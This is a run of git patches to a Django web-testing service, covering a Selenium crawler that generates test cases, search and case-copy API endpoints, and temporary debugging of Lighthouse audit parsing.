 app/api/utils/autocaser.py | 102 ++++++++++++++++++++++---------------
 1 file changed, 62 insertions(+), 40 deletions(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index dcddf3a2..b3a18aa2 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -333,6 +333,24 @@ def get_current_elements(self) -> list:
 
 
 
+    def check_for_duplicates(self, elements: list, selector: str) -> bool:
+        found_duplicate = False
+        for elem in elements:
+            # check if selector exists already
+            if elem['selector'] == selector:
+                found_duplicate = True
+                break
+
+            # check if sub_elements exists
+            if elem['elements'] != None:
+                self.check_for_duplicates(elem['elements'])
+
+        # return result
+        return found_duplicate
+
+
+
+
     def get_elements(self):
 
         # high-level elemets array.
@@ -440,7 +458,7 @@ def get_elements(self):
             sub_elements = []
             while layers < self.max_layers and run:
 
-                print(f'layers -> {layers} | run -> {run}')
+                print(f'on layer -> {layers}')
 
                 # driver wait
                 driver_wait(driver=self.driver)
@@ -457,47 +475,51 @@ def get_elements(self):
                             elem_selector = self.driver.execute_script(self.selector_script, elem)
                             elem_img = self.get_element_image(element=elem)
                             relative_url = self.get_relative_url(self.driver.current_url)
+
+                            # check if element is duplicate
+                            if not self.check_for_duplicates(sub_elements, elem_selector):
                             
-                            # found new element, decide on action
-                            if elem.tag_name == 'a' or elem.tag_name == 'button':
-
-                                # record element
-                                sub_elements.append({
-                                    'selector': elem_selector,
-                                    'elem_type': elem.tag_name,
-                                    'placeholder': None,
-                                    'value': None,
-                                    'type': None,
-                                    'data': None,
-                                    'action': 'click',
-                                    'path': relative_url,
-                                    'img': elem_img,
-                                    'elements': None,
-                                })
-
-                                # click element
-                                try:
-                                    elem.click()
-                                except Exception as e:
-                                    print('Element not Clickable, removing')
-                                    sub_elements.pop()
-
-                                # add to layers and ending internal loop
-                                layers += 1
-                                break
-
-                            if elem.tag_name == 'form':
+                                # found new element, record, click, & continue
+                                if elem.tag_name == 'a' or elem.tag_name == 'button':
+
+                                    # record element
+                                    sub_elements.append({
+                                        'selector': elem_selector,
+                                        'elem_type': elem.tag_name,
+                                        'placeholder': None,
+                                        'value': None,
+                                        'type': None,
+                                        'data': None,
+                                        'action': 'click',
+                                        'path': relative_url,
+                                        'img': elem_img,
+                                        'elements': None,
+                                    })
+
+                                    # click element
+                                    try:
+                                        elem.click()
+                                    except Exception as e:
+                                        print('Element not Clickable, removing')
+                                        sub_elements.pop()
+
+                                    # add to layers and ending internal loop
+                                    layers += 1
+                                    break
                                 
-                                # record form into sub_elements list
-                                sub_elements = self.record_forms(
-                                    elements=sub_elements, 
-                                    form=elem
-                                )
-
-                                # add to layers and ending case
-                                layers += 1
-                                run = False
-                                break
+                                # found new form, record and end run
+                                if elem.tag_name == 'form':
+                                    
+                                    # record form into sub_elements list
+                                    sub_elements = self.record_forms(
+                                        elements=sub_elements, 
+                                        form=elem
+                                    )
+
+                                    # add to layers and ending case
+                                    layers += 1
+                                    run = False
+                                    break
                     
                     # add to layers
                     layers += 1

From 6740154f387739a7484da27eda7e47f9d7dadea2 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 10:03:25 -0600
Subject: [PATCH 455/752] updated search api

---
 app/api/v1/ops/services.py | 34 ++++++++++++++++++++++++++++------
 1 file changed, 28 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 63accb62..0aadb866 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2880,15 +2880,27 @@ def search_resources(request):
     account = Member.objects.get(user=user).account
     data = []
 
+    # check for object specification i.e 'site: or case:'
+    resource_type = query.replace('https://', '').replace('http://', '').split(':')[0]
+    query = query.replace('https://', '').replace('http://', '').split(':')[-1]
+
     # search for sites
-    sites = Site.objects.filter(account=account).filter(
-        site_url__icontains=query
-    )
+    if resource_type == 'site' or resource_type == query:
+        sites = Site.objects.filter(account=account).filter(
+            site_url__icontains=query
+        )
 
     # search for pages
-    pages = Page.objects.filter(account=account).filter(
-        page_url__icontains=query
-    )
+    if resource_type == 'page' or resource_type == query:
+        pages = Page.objects.filter(account=account).filter(
+            page_url__icontains=query
+        )
+
+    # search for cases
+    if resource_type == 'case' or resource_type == query:
+        cases = Case.objects.filter(account=account).filter(
+            name__icontains=query
+        )
 
     # adding first 5 sites if present
     i = 0
@@ -2909,6 +2921,16 @@ def search_resources(request):
             'type': 'page',
         })
         i+=1
+    
+    # adding first 5 cases if present
+    i = 0
+    while i <= 4 and i <= (len(cases)-1):
+        data.append({
+            'name': str(case[i].name),
+            'path': f'/case/{case[i].id}',
+            'type': 'case',
+        })
+        i+=1
         
     response = Response(data, status=status.HTTP_200_OK)
     return response

From 4824b8d4cad21e88a3ad96dabe1cb1422dbc7b1b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 10:19:09 -0600
Subject: [PATCH 456/752] updated search endpoint

---
 app/api/v1/ops/services.py | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 0aadb866..6436545f 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2908,6 +2908,7 @@ def search_resources(request):
         data.append({
             'name': str(sites[i].site_url),
             'path': f'/site/{sites[i].id}',
+            'id'  : str(sites[i].id),
             'type': 'site',
         })
         i+=1
@@ -2918,6 +2919,7 @@ def search_resources(request):
         data.append({
             'name': str(pages[i].page_url),
             'path': f'/page/{pages[i].id}',
+            'id'  : str(pages[i].id),
             'type': 'page',
         })
         i+=1
@@ -2926,8 +2928,9 @@ def search_resources(request):
     i = 0
     while i <= 4 and i <= (len(cases)-1):
         data.append({
-            'name': str(case[i].name),
-            'path': f'/case/{case[i].id}',
+            'name': str(cases[i].name),
+            'path': f'/case/{cases[i].id}',
+            'id'  : str(cases[i].id),
             'type': 'case',
         })
         i+=1

From 55fe757ef74cce0e8094861c6f59ce6107e376ea Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 10:33:55 -0600
Subject: [PATCH 457/752] fixed search bug

---
 app/api/v1/ops/services.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 6436545f..430ee838 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2879,6 +2879,9 @@ def search_resources(request):
     user = request.user
     account = Member.objects.get(user=user).account
     data = []
+    cases = []
+    pages = []
+    sites = []
 
     # check for object specification i.e 'site: or case:'
     resource_type = query.replace('https://', '').replace('http://', '').split(':')[0]

From abd81668f0546bc313e46d195ba7a689763bace9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 11:02:33 -0600
Subject: [PATCH 458/752] adding pre-recorded forms to max_cases count

---
 app/api/utils/autocaser.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index b3a18aa2..503f1f54 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -395,7 +395,7 @@ def get_elements(self):
         # adding random elements until 
         # "max_cases" is reached
         iterations = 0
-        while len(final_start_elements) < self.max_cases and iterations < (5 * self.max_cases):
+        while (len(final_start_elements) + len(elements)) < self.max_cases and iterations < (5 * self.max_cases):
 
             # random choice
             choosen = non_priority_elements[

From 21febac06551efc61ad4118946995b9842acf015 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 11:13:34 -0600
Subject: [PATCH 459/752] adding site_url to case obj

---
 app/api/models.py             |  1 +
 app/api/utils/autocaser.py    | 15 ++++++++-------
 app/api/v1/ops/serializers.py |  2 +-
 app/api/v1/ops/services.py    | 10 ++++++++++
 4 files changed, 20 insertions(+), 8 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 9960a6ff..4d3210ef 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -449,6 +449,7 @@ class Case(models.Model):
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
+    site_url = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 503f1f54..3aa75266 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -753,13 +753,14 @@ def sub_element_mapping(elements, steps):
 
             # save new Case
             Case.objects.create(
-                id      = case_id,
-                site    = self.site,
-                user    = self.site.user,
-                account = self.site.account,
-                name    = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
-                type    = "generated",
-                steps   = {
+                id       = case_id,
+                site     = self.site,
+                site_url = self.site.site_url,
+                user     = self.site.user,
+                account  = self.site.account,
+                name     = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
+                type     = "generated",
+                steps    = {
                     'url':  steps_url,
                     'num_steps': len(steps)
                 },
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 9b449804..0ab5e552 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -180,7 +180,7 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Case
         fields = ['id', 'name', 'user', 'steps', 'time_created',
-        'tags', 'account', 'site', 'type',
+        'tags', 'account', 'site', 'type', 'site_url',
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 430ee838..08bf2ee7 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2446,11 +2446,13 @@ def save_case_steps(steps):
 def create_or_update_case(request):
     case_id = request.data.get('case_id')
     steps = request.data.get('steps')
+    site_url = request.data.get('site_url')
     name = request.data.get('name')
     tags = request.data.get('tags')
     _type = request.data.get('type')
     user = request.user
     account = Member.objects.get(user=user).account
+    site = None
 
     check_data = check_account(request=request)
     if not check_data['allowed']:
@@ -2482,11 +2484,19 @@ def create_or_update_case(request):
     
     else:
         setps_data = save_case_steps(steps)
+        
+        if site_url is not None:
+            try:
+                site = Site.objects.filter(account=account, site_url=site_url)[0]
+            except:
+                pass
 
         case = Case.objects.create(
             user = request.user,
             name = name, 
             type = _type if _type is not None else "recorded",
+            site = site,
+            site_url = site_url,
             steps = steps_data,
             account = account
         )

From 90eb2e44af56c17f0624ee9021e03a343c5a7e3d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 11:16:58 -0600
Subject: [PATCH 460/752] expanded case search API

---
 app/api/v1/ops/services.py | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 08bf2ee7..4e1cf494 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2,6 +2,7 @@
 from datetime import datetime
 from django.contrib.auth.models import User
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
+from django.db.models import Q
 from ...models import *
 from rest_framework.response import Response
 from rest_framework import status
@@ -2547,10 +2548,17 @@ def get_cases(request):
 
 
 def search_cases(request):
+    # get data
     user = request.user
     account = Member.objects.get(user=user).account
     query = request.query_params.get('query')
-    cases = Case.objects.filter(account=account, name__icontains=query).order_by('-time_created')
+    
+    # search for cases
+    cases = Case.objects.filter(
+        Q(account=account, name__icontains=query) |
+        Q(account=account, site_url__icontains=query) 
+    ).order_by('-time_created')
+    
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(cases, request)
     serializer_context = {'request': request,}

From 0906cf9eaf705b2390e3d0bd5fbbcfdc1b93a2be Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 12:10:48 -0600
Subject: [PATCH 461/752] added CopyCase

---
 app/api/v1/ops/services.py | 47 +++++++++++++++++++++++++++++++++++++-
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 10 ++++++++
 3 files changed, 57 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 4e1cf494..16bf78fe 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2649,6 +2649,51 @@ def create_auto_cases(request):
 
 
 
+def copy_case(request):
+    case_id = request.data.get('case_id')
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check data
+    if case_id:
+        try:
+            case = Case.objects.get(id=case_id, account=account)
+        except:
+            data = {'reason': 'cannot find a Case with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+    else:
+        data = {'reason': 'you must provide case_id'}
+        record_api_call(request, data, '409')
+        return Response(data, status=status.HTTP_409_CONFLICT)
+    
+    # create new case
+    new_case = Case.objects.create(
+        user = request.user,
+        name = f'Copy - {case.name}', 
+        type = case.type,
+        site = case.site,
+        site_url = case.site_url,
+        steps = case.steps_data,
+        account = account
+    )
+
+    # return response
+    serializer_context = {'request': request,}
+    data = CaseSerializer(new_case, context=serializer_context).data
+    record_api_call(request, data, '201')
+    response = Response(data, status=status.HTTP_201_CREATED)
+    return response
+    
+
+
+
+
+
+
+
+
+
 def create_testcase(request, delay=False):
     case_id = request.data.get('case_id')
     site_id = request.data.get('site_id')
@@ -2664,7 +2709,7 @@ def create_testcase(request, delay=False):
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
 
-    if case_id and site_id:
+    if case_id:
         try:
             case = Case.objects.get(id=case_id, account=account)
         except:
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 5cab7914..0439a607 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -41,6 +41,7 @@
     path('case/<uuid:id>', views.CaseDetail.as_view(), name='case-detail'),
     path('case/search', views.CasesSearch.as_view(), name='case-search'),
     path('case/auto', views.AutoCases.as_view(), name='case-auto'),
+    path('case/copy', views.CopyCases.as_view(), name='case-copy'),
     path('testcase', views.Testcases.as_view(), name='testcase'),
     path('testcase/delay', views.TestcaseDelay.as_view(), name='testcase-delay'),
     path('testcase/<uuid:id>', views.TestcaseDetail.as_view(), name='testcase-detail'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index b5fabc02..e411308c 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -502,6 +502,16 @@ def post(self, request):
 
 
 
+class CopyCases(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['post']
+
+    def post(self, request):
+        response = copy_case(request)  
+        return response
+
+
+
 class Testcases(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['post', 'get']

From 032b9db13240bd6a2ba555daf19d6059f2cec25a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 12:16:22 -0600
Subject: [PATCH 462/752] updated CopyCase

---
 app/api/v1/ops/services.py | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 16bf78fe..1ec5ca06 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2405,7 +2405,7 @@ def get_processes(request):
 
 
 
-def save_case_steps(steps):
+def save_case_steps(steps, steps_id):
     # setup boto3 configurations
     s3 = boto3.client(
         's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
@@ -2414,9 +2414,6 @@ def save_case_steps(steps):
         endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
     )
 
-    # create .json file for steps and upload to s3
-    steps_id = uuid.uuid4()
-
     # saving as json file temporarily
     with open(f'{steps_id}.json', 'w') as fp:
         json.dump(steps, fp)
@@ -2484,7 +2481,8 @@ def create_or_update_case(request):
             case.save()
     
     else:
-        setps_data = save_case_steps(steps)
+        case_id = uuid.uuid4()
+        setps_data = save_case_steps(steps, case_id)
         
         if site_url is not None:
             try:
@@ -2493,6 +2491,7 @@ def create_or_update_case(request):
                 pass
 
         case = Case.objects.create(
+            id = case_id,
             user = request.user,
             name = name, 
             type = _type if _type is not None else "recorded",
@@ -2666,15 +2665,23 @@ def copy_case(request):
         data = {'reason': 'you must provide case_id'}
         record_api_call(request, data, '409')
         return Response(data, status=status.HTTP_409_CONFLICT)
+
+    # download steps 
+    steps = requests.get(case.steps['url']).json()
     
+    # save steps as new s3 obj
+    new_case_id = uuid.uuid4()
+    setps_data = save_case_steps(steps, new_case_id)
+
     # create new case
     new_case = Case.objects.create(
+        id = new_case_id,
         user = request.user,
         name = f'Copy - {case.name}', 
         type = case.type,
         site = case.site,
         site_url = case.site_url,
-        steps = case.steps_data,
+        steps = steps_data,
         account = account
     )
 

From f6a45fc0a7fa8801b76e127da8ac6cc148e2e8b6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 12:23:30 -0600
Subject: [PATCH 463/752] fixing create_or_update_case

---
 app/api/v1/ops/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 1ec5ca06..f59284c5 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2472,7 +2472,7 @@ def create_or_update_case(request):
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         else:
             if steps is not None:
-                steps_data = save_case_steps(steps)
+                steps_data = save_case_steps(steps, case_id)
                 case.steps = steps_data
             if name is not None:
                 case.name = name
@@ -2482,7 +2482,7 @@ def create_or_update_case(request):
     
     else:
         case_id = uuid.uuid4()
-        setps_data = save_case_steps(steps, case_id)
+        steps_data = save_case_steps(steps, case_id)
         
         if site_url is not None:
             try:
@@ -2671,7 +2671,7 @@ def copy_case(request):
     
     # save steps as new s3 obj
     new_case_id = uuid.uuid4()
-    setps_data = save_case_steps(steps, new_case_id)
+    steps_data = save_case_steps(steps, new_case_id)
 
     # create new case
     new_case = Case.objects.create(

From 14bc64f8f60ac766eea5c70d6ddcd798e91b7e77 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 14:15:28 -0600
Subject: [PATCH 464/752] added auto cases to site creation

---
 app/api/v1/ops/services.py | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f59284c5..019b95e5 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -171,6 +171,11 @@ def create_site(request, delay=False):
             account=account
         )
 
+        # auto gen Cases using bg_autocase_task
+        create_auto_cases_bg.delay(
+            site_id=site.id
+        )
+        
         # check if this is account's first site and onboarding = True
         if Site.objects.filter(account=account).count() == 1 \
             and onboarding == True:

From 9953884f38135b30b2b19aa1645453581c3e5507 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 17:58:08 -0600
Subject: [PATCH 465/752] fixed autocase onboarding

---
 app/api/v1/ops/services.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 019b95e5..d9c42089 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -173,7 +173,9 @@ def create_site(request, delay=False):
 
         # auto gen Cases using bg_autocase_task
         create_auto_cases_bg.delay(
-            site_id=site.id
+            site_id=site.id,
+            max_cases=3,
+            max_layers=5
         )
         
         # check if this is account's first site and onboarding = True

From 0f7fe23950d14144167297ebe19ba0197a5953bf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 19:56:32 -0600
Subject: [PATCH 466/752] debugging lighthouse

---
 app/api/utils/scanner.py | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index a8c7ede9..4596d429 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -548,16 +548,16 @@ def _lighthouse(scan_id, test_id, automation_id):
     """
     scan = Scan.objects.get(id=scan_id)
 
-    try:
-        # running lighthouse
-        lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
-        
-        # updating Scan object
-        scan = Scan.objects.get(id=scan_id)
-        scan.lighthouse = lh_data
-        scan.save()
-    except Exception as e:
-        print(e)
+    # try:
+    # running lighthouse
+    lh_data = Lighthouse(scan=scan, configs=scan.configs).get_data() 
+    
+    # updating Scan object
+    scan = Scan.objects.get(id=scan_id)
+    scan.lighthouse = lh_data
+    scan.save()
+    # except Exception as e:
+    #     print(e)
 
     # checking if scan is done
     scan = check_scan_completion(scan, test_id, automation_id)

From 8e0a6c449ea4d0f922254ab4e079fee070e4977b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 20:02:18 -0600
Subject: [PATCH 467/752] debuggin lighthouse

---
 app/api/utils/lighthouse.py | 236 ++++++++++++++++++------------------
 1 file changed, 118 insertions(+), 118 deletions(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index f2ff2787..9b050b6e 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -48,137 +48,137 @@ def get_data(self):
             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
         )
 
-        try:
-            stdout_value = self.init_audit() 
-            # decode bytes into string
-            stdout_string = stdout_value.decode('iso-8859-1')
+        # try:
+        stdout_value = self.init_audit() 
+        # decode bytes into string
+        stdout_string = stdout_value.decode('iso-8859-1')
 
-            # clean string of any errors
-            delm = '{\n  "lighthouseVersion"'
-            stdout_string = delm + stdout_string.split(delm)[1]
+        # clean string of any errors
+        delm = '{\n  "lighthouseVersion"'
+        stdout_string = delm + stdout_string.split(delm)[1]
 
-            # encode back to bytes
-            stdout_value = stdout_string.encode('iso-8859-1')
+        # encode back to bytes
+        stdout_value = stdout_string.encode('iso-8859-1')
 
-        
-            if len(stdout_string) != 0:
-                if 'Runtime error encountered' in stdout_string:
-                    error = {'error': 'lighthouse ran into a problem',}
-                    return error
-
-                stdout_json = json.loads(stdout_value)
-
-                # initial audits object
-                audits = {
-                    "seo": [],
-                    "accessibility": [],
-                    "performance": [],
-                    "best-practices": [],
-                    "lighthouse-plugin-crux": [],
-                    "pwa": []
-                }
-
-                # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj
-                for cat in audits:
-                    cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
-                    if cat_audits is not None:
-                        for a in cat_audits:
-                            if int(a["weight"]) > 0:
-                                audit = stdout_json["audits"][a["id"]]
-                                audits[cat].append(audit)
-                # changing audits names
-                audits['best_practices'] = audits.pop('best-practices')
-                audits['crux'] = audits.pop('lighthouse-plugin-crux')
-                
-                # get scores from each category
-                seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
-                accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
-                performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
-                best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
-                pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
-                
-                # attempting crux
-                try:
-                    crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
-                except:
-                    crux_score = 0
-
-                if crux_score == 0 :
-                    crux_score = None
-                    average_score = round((
-                            seo_score + accessibility_score + performance_score 
-                            + best_practices_score + pwa_score
-                        )/ 5)
-                else:
-                    average_score = round((
-                            seo_score + accessibility_score + performance_score 
-                            + best_practices_score + pwa_score + crux_score
-                        )/ 6)
-
-                scores = {
-                    "seo": seo_score,
-                    "accessibility": accessibility_score,
-                    "performance": performance_score,
-                    "best_practices": best_practices_score,
-                    "pwa": pwa_score,
-                    "crux": crux_score,
-                    "average": average_score
-                }
-
-                # save audits data as json file
-                file_id = uuid.uuid4()
-                with open(f'{file_id}.json', 'w') as fp:
-                    json.dump(audits, fp)
-                
-                # upload to s3 and return url
-                audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
-                remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
-                root_path = settings.AWS_S3_URL_PATH
-                audits_url = f'{root_path}/{remote_path}'
-            
-                # upload to s3
-                with open(audit_file, 'rb') as data:
-                    s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-                        remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
-                    )
-                # remove local copy
-                os.remove(audit_file)
-
-                data = {
-                    "scores": scores, 
-                    "audits": audits_url,
-                    "failed": False
-                }
-
-            else:
-                raise RuntimeError
-            
-        except Exception as e:
-            print(e)
+    
+        if len(stdout_string) != 0:
+            if 'Runtime error encountered' in stdout_string:
+                error = {'error': 'lighthouse ran into a problem',}
+                return error
 
-            scores = {
-                "seo": None,
-                "accessibility": None,
-                "performance": None,
-                "best_practices": None,
-                "pwa": None,
-                "crux": None,
-                "average": None
-            }
+            stdout_json = json.loads(stdout_value)
 
+            # initial audits object
             audits = {
                 "seo": [],
                 "accessibility": [],
                 "performance": [],
-                "best_practices": [],
-                "pwa": [],
-                "crux": []
+                "best-practices": [],
+                "lighthouse-plugin-crux": [],
+                "pwa": []
+            }
+
+            # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj
+            for cat in audits:
+                cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
+                if cat_audits is not None:
+                    for a in cat_audits:
+                        if int(a["weight"]) > 0:
+                            audit = stdout_json["audits"][a["id"]]
+                            audits[cat].append(audit)
+            # changing audits names
+            audits['best_practices'] = audits.pop('best-practices')
+            audits['crux'] = audits.pop('lighthouse-plugin-crux')
+            
+            # get scores from each category
+            seo_score = round(stdout_json["categories"]["seo"]["score"] * 100)
+            accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100)
+            performance_score = round(stdout_json["categories"]["performance"]["score"] * 100)
+            best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100)
+            pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100)
+            
+            # attempting crux
+            try:
+                crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100)
+            except:
+                crux_score = 0
+
+            if crux_score == 0 :
+                crux_score = None
+                average_score = round((
+                        seo_score + accessibility_score + performance_score 
+                        + best_practices_score + pwa_score
+                    )/ 5)
+            else:
+                average_score = round((
+                        seo_score + accessibility_score + performance_score 
+                        + best_practices_score + pwa_score + crux_score
+                    )/ 6)
+
+            scores = {
+                "seo": seo_score,
+                "accessibility": accessibility_score,
+                "performance": performance_score,
+                "best_practices": best_practices_score,
+                "pwa": pwa_score,
+                "crux": crux_score,
+                "average": average_score
             }
 
+            # save audits data as json file
+            file_id = uuid.uuid4()
+            with open(f'{file_id}.json', 'w') as fp:
+                json.dump(audits, fp)
+            
+            # upload to s3 and return url
+            audit_file = os.path.join(settings.BASE_DIR, f'{file_id}.json')
+            remote_path = f'static/sites/{self.site.id}/{self.page.id}/{self.scan.id}/{file_id}.json'
+            root_path = settings.AWS_S3_URL_PATH
+            audits_url = f'{root_path}/{remote_path}'
+        
+            # upload to s3
+            with open(audit_file, 'rb') as data:
+                s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                    remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+                )
+            # remove local copy
+            os.remove(audit_file)
+
             data = {
                 "scores": scores, 
-                "audits": audits,
-                "failed": True
+                "audits": audits_url,
+                "failed": False
             }
+
+        else:
+            raise RuntimeError
+        
+        # except Exception as e:
+        #     print(e)
+
+        #     scores = {
+        #         "seo": None,
+        #         "accessibility": None,
+        #         "performance": None,
+        #         "best_practices": None,
+        #         "pwa": None,
+        #         "crux": None,
+        #         "average": None
+        #     }
+
+        #     audits = {
+        #         "seo": [],
+        #         "accessibility": [],
+        #         "performance": [],
+        #         "best_practices": [],
+        #         "pwa": [],
+        #         "crux": []
+        #     }
+
+        #     data = {
+        #         "scores": scores, 
+        #         "audits": audits,
+        #         "failed": True
+        #     }
         
         return data

From 57efa55f223054ccfcbe007b2dbaa0f2a7fa48a0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 8 May 2024 20:08:59 -0600
Subject: [PATCH 468/752] debugging LH

---
 app/api/utils/lighthouse.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 9b050b6e..523fd4c6 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -78,8 +78,10 @@ def get_data(self):
                 "pwa": []
             }
 
-            # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj
+            # iterating through categories to get relevant lh_audits 
+            # and store them in their respective `audits = {}` obj
             for cat in audits:
+                print(f'working on cat -> {cat}')
                 cat_audits = stdout_json["categories"].get(cat).get("auditRefs")
                 if cat_audits is not None:
                     for a in cat_audits:

